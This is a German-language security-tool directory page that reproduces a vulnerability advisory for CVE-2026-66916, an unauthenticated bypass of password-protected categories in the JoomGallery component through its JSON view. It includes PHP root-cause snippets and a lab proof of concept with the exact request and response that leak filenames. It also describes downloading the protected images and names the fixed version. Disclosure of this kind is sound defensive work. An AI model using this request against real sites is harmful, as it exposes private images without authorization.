Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-66916 — Umgehung passwortgeschützter Kategorien über das JSON-Format in JoomGallery | Kitploit
Tools/GitHubGitHub/toanln-cov/cve-2026-66916
SchwachstellenanalyseWebanwendungs-ExploitationWebsicherheit
GitHubtoanln-cov/cve-2026-66916

CVE-2026-66916

Umgehung passwortgeschützter Kategorien über das JSON-Format in JoomGallery

Repository anzeigen
vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Passwortgeschützter Kategorie-Bypass über das JSON-Format in JoomGallery

JoomGallery ≤ 4.3.0-stable – Nicht authentifizierter Angreifer umgeht Passwortschranke, um geschützte Bilder herunterzuladen

CVE CVSS v4.0 CWE-284 Affected Researcher


ZUSAMMENFASSUNG

In der JSON-Ansicht der Kategorie von JoomGallery existiert ein nicht authentifizierter Zugriffskontroll-Bypass. Wenn eine Galerie-Kategorie mit einem Passwort geschützt ist, erzwingt die HTML-Ansicht die Passwortschranke korrekt – die JSON-Ansicht (format=json) überspringt diese Prüfung jedoch vollständig.

Ein entfernter Angreifer ohne Anmeldedaten kann den Titel, die Beschreibung und die randomisierten Dateinamen aller geschützten Bilder der Kategorie abrufen und diese Bilder anschließend direkt herunterladen. Die Passwortschutzfunktion wird mit einer einzigen HTTP-Anfrage umgangen.

Der Bypass ist auf Kategorien beschränkt, deren Joomla-ACL-Zugriffsebene auf Public (access=1) gesetzt ist. Kategorien, die auf Registered oder Special beschränkt sind, werden weiterhin auf der ACL-Ebene in JsonView.php:69 blockiert.

Tool herunterladen

BETROFFENE VERSIONEN

KOMPONENTEVERWUNDBARGETESTET AUFBEHOBEN
JoomGallery4.3.0-stableJoomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache)4.4.0

SCHWACHSTELLENDETAILS

Typ: Unzulässige Zugriffskontrolle (CWE-284) Erforderliche Authentifizierung: Keine – nicht authentifiziert, einzelne HTTP-Anfrage Datei: site/com_joomgallery/src/View/Category/JsonView.php, Zeilen 76–96

Grundursache

JoomGallery implementiert den Passwortschutz für Kategorien über ein pw_protected-Flag. Diese Prüfung ist in HtmlView.php vorhanden, fehlt in JsonView.php jedoch vollständig:

HTMLVIEW.PHP – KORREKT (Schutz vorhanden)

root@kitploit:~
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
    $this->item->images->items   = $model->getImages();
    $this->item->children->items = $model->getChildren();
}

JSONVIEW.PHP – VERWUNDBAR (kein Schutz)

root@kitploit:~
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent          = $model->getParent();
$this->item->children->items = $model->getChildren();  // always executes
$this->item->images->items   = $model->getImages();    // always executes
$this->output($this->item);  // serializes full response to JSON including filenames

Joomlas format=json-Parameter leitet dieselbe URL an eine separate View-Klasse weiter. Jede View muss Zugriffsprüfungen unabhängig durchsetzen – das Framework überträgt sie nicht automatisch. Der Entwickler hat die pw_protected-Absicherung zu HtmlView hinzugefügt, sie jedoch in JsonView weggelassen.

Der Passwortschutz von JoomGallery beruht darauf, Bilddateinamen geheim zu halten – Dateien werden als statische Assets unter /images/joomgallery/originals/ gespeichert und von Apache ohne serverseitige Authentifizierung direkt ausgeliefert. Die Dateinamen sind randomisiert (z. B. secret-image-1_20260803_1951053711.jpg) und werden erst nach bestandener Passwortprüfung über die PHP/Joomla-Ebene offengelegt. Der JSON-Bypass durchbricht dieses Modell, indem er Dateinamen an nicht authentifizierte Anfragende offenlegt und damit die Angriffskette bis zum vollständigen Bildabruf vervollständigt.


KONZEPTNACHWEIS

Laboraufbau:

  • Kategorie: Secret Gallery (id=3, pw_protected=true, access=Public)
  • Enthält: Secret Image 1 (secret-image-1_20260803_1951053711.jpg)
  • In keinem der folgenden Schritte werden Cookies, Sitzungen oder Anmeldedaten verwendet.

1. HTML-Ansicht erzwingt Passwortschranke

root@kitploit:~
GET /index.php/component/joomgallery/category/3

Ergebnis: Passwortformular wird gerendert. Kein Kategorieinhalt sichtbar.

Schritt 1 – HTML-Passwortschranke


2. Direkter Bildzugriff über HTML ebenfalls blockiert

root@kitploit:~
GET /index.php/gallery/categories/3-secret-gallery

Ergebnis: Direkter Bildzugriff innerhalb des Alias-Pfads blockiert (/3-secret-gallery)

Schritt 2 – Bildzugriff blockiert


3. JSON-Format umgeht Passwortprüfung – gibt echten Dateinamen preis

root@kitploit:~
GET /index.php?option=com_joomgallery&view=category&format=json&id=3

Antwort (HTTP 200, keine Authentifizierung):

root@kitploit:~
{
  "success": true,
  "data": {
    "title": "Secret Gallery",
    "description": "<p>SENSITIVE: Internal photos — restricted access</p>",
    "pw_protected": true,
    "access": 1,
    "images": {
      "items": [
        {
          "title": "Secret Image 1",
          "filename": "secret-image-1_20260803_1951053711.jpg",
          "cattitle": "Secret Gallery",
          "access": "Public"
        }
      ]
    }
  }
}

pw_protected: true bestätigt, dass das Passwort gesetzt ist. Trotzdem wird die vollständige Antwort einschließlich des randomisierten Dateinamens an einen nicht authentifizierten Aufrufer zurückgegeben.

Schritt 3 – JSON-Bypass gibt Dateinamen preis


4. Das geschützte Bild mithilfe des preisgegebenen Dateinamens herunterladen

Verwendung des in Schritt 3 erhaltenen Dateinamens.

Ergebnis: HTTP 200 – Bilddatei wird direkt von Apache zurückgegeben. Keine Authentifizierung erforderlich.

Schritt 4 – Geschütztes Bild heruntergeladen


AUSWIRKUNGEN

  1. Geschützte Kategorien-Metadaten lesen – Titel, Beschreibung, Erstellungsinformationen, Elternhierarchie, alles ohne Authentifizierung zurückgegeben
  2. Alle Bilddateinamen aufzählen in jeder passwortgeschützten Public-Kategorie durch eine einzige JSON-Anfrage
  3. Alle geschützten Bilder herunterladen in voller Originalauflösung über direkten statischen Dateizugriff unter Verwendung der preisgegebenen echten Dateinamen

Jede Galerie-Kategorie, die der Administrator mit einem Passwort geschützt hat, ist vollständig kompromittiert. Der Angreifer benötigt lediglich die numerische Kategorie-ID, die fortlaufend und trivial aufzählbar ist.


REFERENZEN

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-66916
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-66916
  • GitHub-Sicherheitshinweis: https://github.com/advisories/GHSA-g79m-pfhw-2c5m
  • Anbieter-Repository: https://github.com/JoomGallery/JoomGallery
  • Anbieter-Versionshinweis: https://www.joomgalleryfriends.net/en/blog/joomgallery-4-en/joomgallery-4-4-0.html